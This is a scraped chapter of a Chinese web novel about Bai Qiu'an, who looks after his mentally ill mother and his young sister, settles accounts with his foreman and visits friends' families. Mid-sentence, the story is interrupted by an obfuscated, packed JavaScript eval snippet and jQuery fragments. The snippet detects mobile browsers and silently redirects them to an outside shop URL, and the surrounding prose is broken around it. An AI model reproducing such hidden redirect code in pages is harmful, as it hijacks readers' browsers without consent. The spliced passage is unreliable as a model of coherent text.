文趣网 > 都市小说 > 温良第一要义 > 43. 第3章 晴光
    红灯一秒一秒倒退,黄灯亮起,转为绿灯。

    白求安踩下油门,小货车混在热闹的车流中缓缓前行,副驾上坐着昏昏欲睡的张贵萍。

    “把窗户摇上,莫睡感冒了。”他反手一摸,把靠背上的牛仔外套扔给她。

    张贵萍恍惚地睁了睁眼,抱着外套抬起头:“没睡,没睡。”

    他瞥她一眼,问:“这个药吃了犯困吗?和上次的药比起来哪个好点?”

    早上送小雨去上学后,他开车带她去市里的医院开药,这次的药比上次贵了一倍多,精神类药物只能起到抑制作用,不知道这个抑制作用到底有没有用……

    张贵萍抿了抿嘴,眼神游移说不清在看什么,“好用的……好用的。”

    他没再问什么,习以为常地打着方向盘,心里惦记着膝盖的X光片。讲解的医生说治愈的可能性很大,动完手术调养调养,以后应该没什么大问题。

    虽然动手术需要好几万,手术完也没什么条件调养,毕竟家里就靠他一个人吃饭……但这对他来说无疑是个好消息,盼着盼着,总会到的。

    “饿不饿?”他掏出很久没戴过的眼镜戴上,眼镜度数不高,平时没什么细活他都懒得架上。

    张贵萍惦记着外面的饭菜费钱,抓着外套说:“不在外面吃。”

    “我忙得很,没时间做饭。”说完他找了家店面停下车,在张贵萍的阻拦声里跑去打包了一碗炒饭。

    十分钟后回到家,白求安紧接着给包工头打电话,上一个工程才结,这段时间没什么活,他得把人约出来吃顿饭。

    张贵萍去厨房拿了个碗正要给他匀点,饭盒边大包小包的药被倒出来。

    “这个黄色的,吃三颗,白色的,吃两颗,绿色的吃一颗,早上起来吃一次,晚上睡觉之前吃一次,记清楚不得?”

    张贵萍懵懵懂懂地点头,他就指着药片又交待了两遍。

    “你吃嘛。”她把匀好的碗推过去。

    “我不吃,你都吃完。”白求安喝完一杯水,挽着袖子去小雨的房间,把床单被套全清出来,抓紧时间丢进洗衣机。

    “你吃完就在屋头看电视,不要随便出去逛了,”他收收捡捡地嘱咐着:“去年打破人家的菜坛,赔了五百块钱,难扯皮得很。”

    大多事情说了张贵萍都没什么反应,但这件事她记得清楚,立刻涨红着脸拍掉筷子:“我没得打她家菜坛,是她家娃娃自己打烂的!”

    那天她在小广场晒太阳纳鞋底,对面的住户洗了几个菜坛晾在外面,小孩子拿着玩具剑到处疯玩,砸烂了三四个,在里面洗洗刷刷的女人出来打眼一看,害怕被骂的孩子们早跑没影了,长椅上只坐了个精神病。

    两人吵了半天,女人的家里人也出来帮腔,张贵萍气坏了险些还动起手来,最后白求安赶过来,说也说不清楚,只能赔五百块钱了事。

    诸如此类的事情大大小小不一而足,到后来他宁愿赔点钱了事。

    张贵萍气得胸口起伏,少见地有了活人气息,怒气冲冲地瞪着他,“安仔你也、不相信我!”

    在他小学的时候,张贵萍还没病得那么重,每次他放学,都会“安仔安仔”地叫他。

    臂弯上搭着沙发套,白求安很久很久没听到有人这样叫他了,心里像是梗了颗苦杏仁。

    他走过去半蹲在她面前,语气难得温柔,“妈……那些人坏得很,我是怕他们欺负你。”有些事他不是不知道,只是他能力有限,分身乏术。

    张贵萍垂头看着他,脸上不自觉带了微笑,摩挲着他长了一些的头发点点头:“好嘛,好嘛。”

    他扶着桌子起身,在一天天延长的日头里松了松眉头,也许日子真的会一点点好起来。

    洗衣机哐啷哐啷地转动着,他觑了眼时间,趁着今天有空,去张贵萍的房间里收拾床铺。

    张贵萍的神智时清时浊,床铺却每天都叠得一丝不苟,一尘不染的梳妆柜上放着两盒没拆封的蚊香片,衣柜里的衣服也收得整整齐齐。

    在她自己这个小小的房间里,抛弃了混沌不明,一切都井然有序。

    白求安把枕套拆下来,床单是白底粉牡丹的老样式,大朵大朵的粉牡丹之间,浸染着巴掌大的干涸血迹,看上去有段时间了。

    他见怪不怪地拆下来,翻出干净的床单放在枕头上。“弄脏了就赶快腾下来洗,干了就不好洗了。”

    张贵萍慢吞吞地嚼着肉末,没分心搭理他。

    他叹了口气,把洗衣筒里的衣服拽到打干筒,“嘶”地一声抽回手。

    洗衣机是二手买的,有轻微漏电的毛病,他低咒两句甩了甩手,继续拽衣服。

    艳阳天里楼顶的晾架一直是抢手货,他搬了几个板凳上去,发皱的布料被舒展开,在地面漏下一圈圈大小不一的光斑。

    他在充满洗衣粉气味的楼顶伫立了一会儿,突然很想给方如意打个电话,问问她那边是不是也出太阳。

    等打湿的袖口干得差不多了,他放下袖管,接起包工头打来的电话,转身贴着放慢杂物的楼道口下了楼。

    两人约在小学附近的饭馆,方便一会儿直接去接小雨放学。

    包工头姓于,儿子都有白求安那么大了,按白求安的年纪叫他声叔不过分,但白求安一直于哥于哥的叫,也不知是不是在给自己提辈分。

    “这家牛肉干锅好吃,请于哥来搓一顿,毕竟没有于哥,我怕是活不到现在。”这话他往夸张了说,既有真心实意的感谢,也有言过其实的吹捧。

    于哥多少猜到这顿是散伙饭,也不跟他客气,另点了一盘虾,两人都没说要喝酒,可能是青天白日的没那个必要,也可能是没到那个交情。

    两人聊着这两年的行情和白求安的去处,放掉了这边的活计,应该就是在别处有了打算。白求安也不瞒他,说是在雪灾救灾的时候遇到了家附近修车行的师傅,愿意收他当个学徒,平时帮工也会给点工资。

    小雨还小,再加上白俊生不知道什么时候会找上门,离家近一点总是没错的。

    于哥点点头,心里多少有点遗憾,和他们这帮大老粗比起来,白求安毕竟有文化,脑子转得快口条也好,工地上大多数用料单都是交给他来填,杂七杂八的事情他也能帮着拿主意。

    好比像水泥钢筋这些耗材的减损有些老板不认,非说是他们偷工减料,想要以此少结工钱,有白求安在的话就不必吵得面红耳赤,所以每次工程结款,于哥都会带上他,省心也省事。

    至于白求安刚来时被安排的那些杂活和东找西扣的工钱,两人心照不宣地闭口不提,多一事不如少一事,白求安只想和和气气地桥归桥路归路。

    他几乎没怎么动筷,始终附和着于哥的话头,等于哥吃饱喝足了起身去结账,两人勾肩搭背好得跟一个人似的送了一段路,便各走各路地分道扬镳。

    白求安看着他的背影消失在街角,肩膀一垮松了口气,踩着下课铃去接小雨。

    小雨看到是他来接,高兴得拽着书包带子就跑过来了,拉了一半的拉链“哗”一声吐出里面所有的书,白求安打个手势,她就倒回去把书统统捡起来。

    “跑什么,哥哥又不会不等你,摔倒了又哭鼻子。”他拎过她的小书包背在肩上,牵着她走出学校。

    小雨拉着他的手一蹦一跳,两眼亮晶晶地扒着他的肩膀:“我的画画在书包里,今天老师说我画得好!”

    “这么厉害啊?”白求安把书包递给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968509|214603||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她,她翻翻找找抽出一张素描纸,献宝似的捧给他。

    “安哥,蜡笔没有了,我要二十四色的!”

    “你叫什么安哥。”白求安在她脑门上敲了敲,看着画面中央高高大大的蓝色蜡笔人,牵着小小的红色蜡笔人,周边画了棕色的树干和绿色的树叶,还有几笔灰白色的房子。

    “妈妈呢?在房子里吗?”

    小雨把脚尖翘得高高的,踢着正步回答他:“没有妈妈,不要爸爸。只要哥哥。”

    白求安愣怔一下,垂头叫她:“白倩雨。”

    小雨撒开他的手蹬蹬蹬跑进路边的文具店,不想听他说些有的没的,宣誓般大喊:“我要——二十四色蜡笔!”

    -----------------

    李晓群把从寺庙里带回来的东西分门别类地摆在家里各个角落,身后始终跟着一只尾巴。

    她手上戴着新开光的檀木念珠,念念有词地一转身,险些撞赵青阳身上,一板栗敲上他额头,“哎哟你是狗崽不是?又不是还小,让道!”

    赵青阳揉着额角哼了一声,“我是看你瘦了,问你要不要打下手。”

    “打下手?你不帮倒忙就行了,过来。”李晓群把穿了红线的菩提像吊在他胸前,念了几句佛语,“保佑你乖乖的,快长快大,轻手快脚无灾无厄……你这衣服不晓得熨一下?跟从狗□□逮出来的一样。”

    厨房里传来肉香,赵老爸已经在厨房蒸上鲈鱼,菜板发出笃笃的动静。

    “天,这是从庙里头回来的人啊?菩萨听到都要笑。”赵青阳扯了扯衣服下摆,昨晚忘了换衣服就睡着了,压了一晚上不皱才怪。他摸着胸前的吊坠,翘嘴问:“那上次那个不戴了?”

    “这个法师护持过,比那个管用。”

    不用想都知道,这个法师肯定价格不菲。

    李晓群理着自己的衣服走回房间,赵青阳刚要驳斥她的迷信,手机铃声撕心裂肺地喊了起来。

    白求安在那边问他:“今晚来我家吃饭,喊上兴义和他妹,夏帆和大小赵已经去买菜了……这个不买,家里还有。”

    “我不来了哥,”好容易回家一次的狸花猫闻着鱼肉香优雅步来,赵青阳揪住它就是一顿摸,“我妈今天从庙里回来了,我在家里吃,你们吃就行。臭猫你还知道回来!”

    狸花伸出白手套按在他的手背上,喵叫着表示非诚勿扰。

    白求安自然不会打扰他们团聚,只说下次再聚。

    他把手机往沙发上一扔,抱起狸花喋喋不休地骂了半天,猫儿在半空打个空翻,抖着毛骂骂咧咧跟到李晓群身后。

    “熙熙回来啦。”李晓群低头瞄了它一眼,它喵了一声,圆圆的眼里都是对鱼肉的渴望。

    “去楼下把你的碗拿来。”

    “喵~”

    “去喊阳仔拿来。”

    熙熙犹豫了一会儿,不愿对那厮奴颜婢膝,索性自己下楼把碗叼了上来。

    赵青阳靠在沙发上研究庙里带回来的黑核桃,哼了一声:“算你识相!”

    “妈,你这核桃又是买来干嘛的,是不是又被骗……”他的话音戛然而止,李晓群背对他站在阳台上,风吹起她的衣领,她垫着脚半个身子越出栏杆。

    核桃掉在地上,他半张着嘴冲到阳台,一句哑在喉间的“妈”还没成型,李晓群已经扯回晾在麻绳上的枕套,摘掉上面的夹子一回头,险些又撞在他肩上。

    她气不打一处来,一巴掌拍在他肩膀上,“哎哟碍手碍脚的,去给你老者打下手!”

    赵青阳揉着肩膀“哦”了一声,回过劲来的心口狂跳不止。

    他心有余悸的眼神稍稍偏移,落在栏杆外随风荡起的红色麻绳上。